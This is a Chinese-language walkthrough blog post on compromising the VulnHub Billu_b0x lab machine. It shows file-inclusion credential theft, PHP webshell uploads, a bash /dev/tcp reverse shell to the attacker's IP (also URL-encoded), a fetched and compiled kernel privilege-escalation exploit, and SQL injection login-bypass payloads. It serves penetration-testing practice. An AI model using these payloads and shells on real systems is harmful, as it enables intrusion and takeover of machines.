从大佬博客看到的,也是入门靶机,挺适合我这种菜鸡玩的,所以就看着大佬的博客照猫画虎做做看,顺便练手。非常适合新手用,巩固知识。
下载链接:https://www.vulnhub.com/entry/billu-b0x,188/
下载调教:
下载导入虚拟机不多说,默认上网是仅主机模式,这里不论述与NAT和桥接模式之间差距。我这微调下。
修改网络连接为NAT方式
内存、处理器拉高一倍
后面才知道是ubuntu吃不了那么多资源,但多给资源总归是增大容错率的。
首先得知道billu靶机的ip地址,根据之前经验,简单使用如下工具来发现主机
延伸可拓展极多内容,多层的主机发现和工具及优缺点。
netdiscover
netdiscover -i eth0 -r 192.168.150.0/24
一开始发现没有结果,猜测极有可能是因为NAT上网模式,如果采取桥接模式应该不会出现这种结果,和工具的工作原理有关。之前Raven1靶场使用此工具成功,当时采用的就是桥接模式。
可能是因为修改过Kali的配置文件,切换桥接模式无法开机,故先挖坑,以后有生之年可以填坑。
等待好久之后才得到结果,可能和工具工作原理有关。
arp-scan
arp-scan -l
反应很迅速,操作很快。
nmap
nmap -sP 192.168.150.1/24
根据上面信息可以得出十有八九靶机IP是192.168.150.147
nmap -A -p1-65535 192.168.150.147
得到有用信息,22、80端口,Apache。来看看web服务。
(1) SQL注入:首页提示注入,想办法注入成功。
(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;
(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;
(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;
(5) 查看每个网页的源码,看是否有提示;。
(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。
直接来看web页面,一张很霸气的白胡子,并暗示你用sql来操作。
手注发现仍无效,sqlmap跑包,好像也没跑出。暂时看看其他。
admin' or 2=2 --+
sqlmap -r 1.txt --level 3 --dbms mysql
Kali使用工具如下:
dirb
dirb http://192.168.150.147 /usr/share/dirb/wordlists/big.txt
粗略统计信息为
==> DIRECTORY: http://192.168.150.147/images/
==> DIRECTORY: http://192.168.150.147/phpmy/js/
==> DIRECTORY: http://192.168.150.147/phpmy/libraries/
==> DIRECTORY: http://192.168.150.147/phpmy/locale/
==> DIRECTORY: http://192.168.150.147/phpmy/pmd/
==> DIRECTORY: http://192.168.150.147/phpmy/scripts/
==> DIRECTORY: http://192.168.150.147/phpmy/setup/
==> DIRECTORY: http://192.168.150.147/phpmy/themes/
==> DIRECTORY: http://192.168.150.147/phpmy/setup/frames/
==> DIRECTORY: http://192.168.150.147/phpmy/setup/lib/
nikto
nikto -C all -h http://192.168.150.147
大概信息可以得到
OSVDB-3268: /images/: Directory indexing found.
OSVDB-3233: /icons/README: Apache default file found.
OSVDB-5292: /in.php?returnpath=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
OSVDB-3092: /test.php: This might be interesting...
dirsearch
此工具需要额外下载。
git config --global http.proxy socks5://192.168.1.226:10808 [5:28:51]
git clone https://github.com/maurosoria/dirsearch
这里还发现dirsearch
一个小bug
起初我还以为我下载和配置有问题,就从wsl重新安装一遍,报错依旧,我开始审视这个问题。
没想到我从python语法报错中找到clioutput文件182行,发现此处的,
成了.
。
.
按理来说这种低级错误不应该出现在这种工具上把。
所以说只要是人就有错误,人是最不稳定因素,以后遇到问题不一定是自己出问题,很有可能是工具本身就出错。
综上所述,工具所得,我觉得就单论工具实用性来说dirsearch
最快也最直观,效率最高,可能其他工具我使用姿势不对,以后也会补充更多目录爆破工具。
[05:34:04] 200 - 307B - /add
[05:34:04] 200 - 307B - /add.php
[05:34:06] 200 - 1B - /c
[05:34:06] 403 - 291B - /cgi-bin/
[05:34:07] 403 - 302B - /doc/en/changes.html
[05:34:07] 403 - 287B - /doc/
[05:34:07] 403 - 301B - /doc/stable.version
[05:34:08] 200 - 3KB - /head.php
[05:34:08] 301 - 319B - /images -> http://192.168.150.147/images/
[05:34:08] 200 - 47KB - /in
[05:34:08] 200 - 3KB - /index
[05:34:08] 200 - 3KB - /index.php
[05:34:09] 302 - 2KB - /panel -> index.php
[05:34:09] 302 - 2KB - /panel.php -> index.php
[05:34:10] 200 - 8KB - /phpmy/
[05:34:10] 403 - 296B - /server-status
[05:34:10] 403 - 297B - /server-status/
[05:34:11] 200 - 1B - /show
[05:34:11] 200 - 72B - /test
[05:34:11] 200 - 72B - /test.php
逐一分析目录:
/add.php
是上传点
但是没有任何反应,抓包后得到的response包
是一直没有变化的,估计是忽悠页面。
/in
是phpinfo界面
/phpmy/
是phpmyadmin
/show
和/c
都是空白页面
/test.php
有门道,可能存在文件包含漏洞
首先尝试get传参/etc/passwd,发现无效,后使用hackbar更改成post请求发现可以下载站点文件,说明存在文件包含漏洞。
玩骚的还可以使用burp更改get为post,最骚的还是用curl直接请求post包。
curl http://192.168.150.147 -d "file=c.php"
这里的d是data的意思,让人联想到python里面request里面post请求的参数。
同理如上得到上面下载add.php、in.php、c.php、index.php、show.php、panel.php等文件。
add.php、in.php可以看到原貌了,确实是个大幌子。
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
但是可以从c.php
中看到mysql的账户密码。
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
用户名:billu
密码:b0x_billu
数据库名:ica_lab
发现web页面的账户密码。
首先是直接写一个ma,没权限。
写日志功能也没权限。
登录进去是个上传点。作者也是个老海迷了。
看样子是个上传点。
之前爆破时也得知目录为/uploaded_images/
。可以看代码处。
再抓个包看下。
这下我们就有思路了。
反弹SHELL是网上默认思路,再次生成易调用的一句话是我的个人思路。
踩坑:
由于函数里目录的拼接有getcwd构成,故目录要自己拼接,所以load的传参一定要完整!!
$dir = getcwd();
所以我们需要做的是:
其实这也是源自我参照网上的wp中,我自己误打误撞碰到的坑加上以前风哥所教,融会贯通所得。
首先安装页面如实上传一个图片马,我是事后才知道网上多数都是上传一个系统执行(<?php system($_GET['cmd']);?>
)的一句话,而我当时没注意,直接上传一句话getshell的木马(<?php eval($_REQUEST['zyue']);?>
),后续才发现不对,所以我也就误打误撞跟着我的思路走下去试试看,能否另辟蹊径?
但是在我尝试写入一句话的时候发现,并不成功,在本地复现后确认语法没有问题,后才估计是没有写入权限,后续通过读取函数,可以确定有读取权限。
POST /panel.php?zyue=file_put_contents('8.php','123123123''); HTTP/1.1
看样子,我想直接写shell不太能成立,白高兴一场,不过也算是自己自发的拓展思维,渗透测试本就是重在一个“测”字,那就只能接着看反弹SHELL了。
这里用的马就不太一样了,我得重新制作一张,建议
<?php system($_GET['cmd']);?>
图片马制作一气呵成。上传,burp改包同上。
尝试反弹shell。
需要将命令url编码:
echo "bash -i >& /dev/tcp/192.168.150.129/4444 0>&1" | bash
burp直接用Decoder工具转。
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%30%2e%31%32%39%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68
再丢到burp改包放包执行。一次就成,真是完美中的完美,爆炸中的爆炸!
查看权限后发现版本很低,尝试提权。
exp下载:https://www.exploit-db.com/exploits/37292
也可从kali直接搜索
searchsploit 3.13.0
拷贝文件到靶机上。
Kali终端:
service nginx start
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
反弹SHELL:
wget http://192.168.150.129/37292.c
chmod 777 37292.C
gcc exploit.c -o exploit
./exploit
whoami
真是完美中的完美,爆炸中的爆炸!
除去上面一种突破方案,仍有众多其他遗漏方法可以getshell。
config.inc.php
文件:
config.inc.php
文件是phpmyadmin
配置文件,几乎所有的配置参数都在config.inc.php
文件中。
由于我们有文件包含漏洞,审计代码后,可以尝试利用test.php下载config.inc.php。
在test.php传参中加入
file=/var/www/phpmy/config.inc.php
下载后查看即可得到root密码完成超车。
之前由于黑盒测试,没有过多消耗精力在sql注入上,现在代码拔下来可以审计下。
if (isset($_POST['login'])) {
# 过滤\'
$uname = str_replace('\'', '', urldecode($_POST['un']));
$pass = str_replace('\'', '', urldecode($_POST['ps']));
$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged'] = true;
$_SESSION['admin'] = $row['username'];
header('Location: panel.php', true, 302);
} else {
echo "<script>alert('Try again');</script>";
}
}
重点:
str_replace('\'', '', urldecode($_POST['un']));
这里只是单纯的过滤引号,之前被严重误导,一直以为过滤的是\'
我觉得必须含有
\'
并没有和前面有任何因果关系。后面通过本地代码复现,发现过滤的仅是单引号!!!
过滤\‘之后,大致语句如下:
select * from auth where pass='' and uname=''
payload:
用户名:' or 1=1 -- \'
,密码:包含\'
即可
过滤所有单引号即账号:or 1=1 -- \
,密码:\
即
select * from auth where pass='\' and uname=' or 1=1 -- \'
这就很好理解了,之前被各种大佬的wp误导。
所以可以直接传参账号:or 1=1 -- \
,密码:\
。甚至不需要加单引号。
用户名:-0--+
,密码:'\'
这个真的是骚知识,作者好像是个ctfer,暂时没法理解。
做了大半年,一直挤不出时间。
后面这个sql注入印象中是做过的,果然在HEAD注入中我手注post的时候,和这一模一样?!
从之前无法理解到通透理解,像是经历了一场大战,酣畅淋漓。
Referer:
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 50.00 | 0 | 2020-09-15 11:11:34 | 同学加油~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.